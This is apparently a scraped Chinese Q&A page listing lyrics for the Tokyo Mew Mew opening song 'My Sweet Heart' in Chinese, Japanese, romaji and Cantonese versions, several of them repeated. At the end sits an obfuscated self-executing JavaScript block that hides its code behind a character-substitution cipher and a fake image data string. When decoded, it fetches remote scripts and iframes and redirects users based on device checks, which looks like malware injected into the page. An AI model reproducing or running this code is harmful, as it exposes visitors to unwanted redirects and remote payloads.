推荐回答（6个）
东京猫猫中日文对照版歌词
系上蝴蝶结 笑一个吧 变身的我 早已习已为常
リボンを结んで笑ってみた 変身（か）わった私になれた気がし
小小的勇气 变成自信
小さな勇気が自信にな
在与你相逢之前 早已遗忘 所有的女孩子都可以变的无敌
あなたに逢うまで忘れてた 女の子はみんな 无敌になれる
你知道特别的魔法吗
特别な魔法 知ってる
it′s show time 要让你心跳加速 希望你时时刻刻都心跳加速
It’s show time! Doki★Dokiさせてね いつでもトキメキたい
因为要你看到千变万化的我
色んな私见せてあげるだか
想把最最纯真的 热情洋溢的这份感情 传达给你哟
Motto☆Motto素直に 溢れるこの気持ち あなたに届けたい
快接住吧 my sweet heart
受け取ってね My sweet heart
如果能被光之花朵拥抱 就一定能够变得绚丽
光の花束抱きしめたら まぶしい明にきっとなるから
能传达远大的理想
大きな理想に届くよう
心的翅膀就能飞翔 所有的女孩子都会变得美丽
心の翼を羽ばたか 女の子はみんな 绮丽になるの
和自己重要的人相逢
大切な人に 出逢ったら
It’s show time! 像这样开始着期待
It’s show time! Uki★Ukiするような 始まり期待してい
寻找你的存在
知らないあなた探したいよ もっ
彼此靠近 一起凝视梦想 如果手牵手的话
Zutto☆Zutto近くで 一绪に梦をみたいね 手と手をつないだなら
会觉得很不可思议吧
不思议だよね
change my mind
change my mind
it′s show time 要让你心跳加速 希望你时时刻刻都心跳加速
It’s show time! Doki★Dokiさせてね いつでもトキメキたい
因为要你看到千变万化的我
色んな私见せてあげるだか
想把最最纯真的 热情洋溢的这份感情 传达给你哟
Motto☆Motto素直に 溢れるこの気持ち あなたに届けたい
快接住吧 my sweet heart
受け取ってね My sweet heart
(轮)快接住吧 my sweet heart
(轮)受け取ってね My sweet heart
(轮)快接住吧
(轮)受け取ってね
my sweet heart
(轮)My (轮)sweet (轮)heart
my sweet heart
作词：T_T／作曲：UZA／编曲：UZA／歌：小松里贺
リボンを结んで笑ってみたら
変身（か）わった私になれた気がした
小さな勇気が自信になる
あなたに逢うまで忘れてた
女の子はみんな 无敌になれる
特别な魔法 知ってるの
It's show time!
Doki★Dokiさせてね いつでもトキメキたいの
色んな私见せてあげる だから
Motto☆Motto素直に 溢れるこの気持ちを
あなたに届けたいよ
受け取ってね▼my sweet heart
光の花束抱きしめたら
まぶしい明日にきっとなるから
大きな理想に届くように
心の翼を羽ばたかせ
女の子はみんな 绮丽になるの
大切な人に 出逢ったら
It's show time!
Uki★Ukiするような 始まり期待している
知らないあなた探したいよ もっと
Zutto☆Zutto近くで 一绪に梦をみたいね
手と手をつないだなら
不思议だよねchange my mind
It's show time!
Doki★Dokiさせてね いつでもトキメキたいの
色んな私见せてあげる だから
Motto☆Motto素直に 溢れるこの気持ちを
あなたに届けたいよ
受け取ってね▼my sweet heart
RIBON wo musunde waratte mitara kawatta watashi ni nareta kigashita
chiisana yuuki ga jishin ni naru anata ni aumade wasureteta
onnanoko wa minna muteki ni nareru
tokubetsu na mahou shitteru no
It's show time!
Doki * Doki sasete ne itsudemo TOKIMEKI tai no
iron na watashi misete ageru dakara
Motto * Motto sunao ni afureru kono kimochi wo
anata ni todoketai yo
uke totte ne * my sweet heart
hikari no hanataba dakishimetara mabushii ashita ni kitto naru kara
ooki na risou ni todoku you ni kokoro no tsubasa wo habatakase
onnanoko wa minna kirei ni naru no
taisetsu na hito ni deattara
It's show time!
Uki * Uki suru you na hajimari kitaishiteiru
shiranai anata sagashitai yo motto
Zutto * Zutto chikaku de issho ni yume wo mitai ne
te to te wo tsunai da nara
fushigi da yo ne change my mind
It's show time!
Doki * Doki sasete ne itsudemo TOKIMEKI tai no
iron na watashi misete ageru dakara
Motto * Motto sunao ni afureru kono kimochi wo
anata ni todoketai yo
uke totte ne * my sweet heart
为何零晨零时想起你
这幻觉极奇妙
静静盼望途上见
像感觉让蜜甜甜
甜甜人儿零时转身变
有自信去磨练
就让正义陪着我
梦中上东京
看这小猫可以施魔法
传心意寄赠友爱
尽全力去证明
We can save the world
It's show time!
Doli Doli 请即变身
魔法魔法 东京有猫猫啊
齐合作 "KO HE" 啦呵
可爱啊!(来合唱一首歌)
Matto Matto 请即变身
魔法魔法 东京有猫猫啊
齐合作 "KO HE" 啦啊
可爱啊!
甜蜜咖啡时间
My Sweet Heart
系上蝴蝶结
笑一个吧
变身的我
已经习以为常
小小的勇气
变成自信
在与你相逢之前
早已遗忘
所有的女孩子都可以变得无敌
你知道特别的魔法吗
It’s show time!
要让你心跳加速
希望你时时刻刻都心跳加速
因为要你看到千变万化的我
想把最最纯真的
热情洋溢的这份感觉
传达给你哟
快接住吧 My sweet heart
如果能够拥抱光的花束
明天一定会更绚烂耀眼
为了达到最大的理想
振翅拍动心之羽翼
所有的女孩子都会变得美丽
当你遇到真命天子时
It’s show time!
感觉兴奋不已
从一开始就期待着
想要寻找陌生的你哟
好想找到你
永远永远陪在身边
想和你一起作梦
如果能够手牵着手
多么不可思议呀 Change my mind
It's show time!
要让你心跳加速
希望你时时刻刻都心跳加速
因为要你看到千变万化的我
想把最最纯真的
热情洋溢的这份感觉
传达给你哟
快接住吧 My sweet heart
My sweet heart
My sweet heart
片头曲:my sweet heart
片尾曲:恋はア.ラ.モード(恋爱的方式)
片头：my sweet heart我甜蜜的心
片尾：恋はア.ラ.モード恋爱方式
系上蝴蝶结
笑一个吧
变身的我
已经习以为常
小小的勇气
变成自信
在与你相逢之前
早已遗忘
所有的女孩子都可以变得无敌
你知道特别的魔法吗
It’s show time!
要让你心跳加速
希望你时时刻刻都心跳加速
因为要你看到千变万化的我
想把最最纯真的
热情洋溢的这份感觉
传达给你哟
快接住吧 My sweet heart
如果能够拥抱光的花束
明天一定会更绚烂耀眼
为了达到最大的理想
振翅拍动心之羽翼
所有的女孩子都会变得美丽
当你遇到真命天子时
It’s show time!
感觉兴奋不已
从一开始就期待着
想要寻找陌生的你哟
好想找到你
永远永远陪在身边
想和你一起作梦
如果能够手牵着手
多么不可思议呀 Change my mind
It's show time!
要让你心跳加速
希望你时时刻刻都心跳加速
因为要你看到千变万化的我
想把最最纯真的
热情洋溢的这份感觉
传达给你哟
快接住吧 My sweet heart
My sweet heart
My sweet heart
片头歌词：系上蝴蝶结
笑一个吧
变身的我
已经习以为常
小小的勇气
变成自信
在遇见你之前
早已遗忘
每一个女孩子都可以变得无敌
你知道特别的魔法吗
It's show time!
心怦怦跳动
一直不停的跳动
我将向你展示我的一切
更加更加纯真
满溢的喜悦心情
我想要传达给你
快接住吧My Sweet Heart!
片尾我就不知道了，很抱歉。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
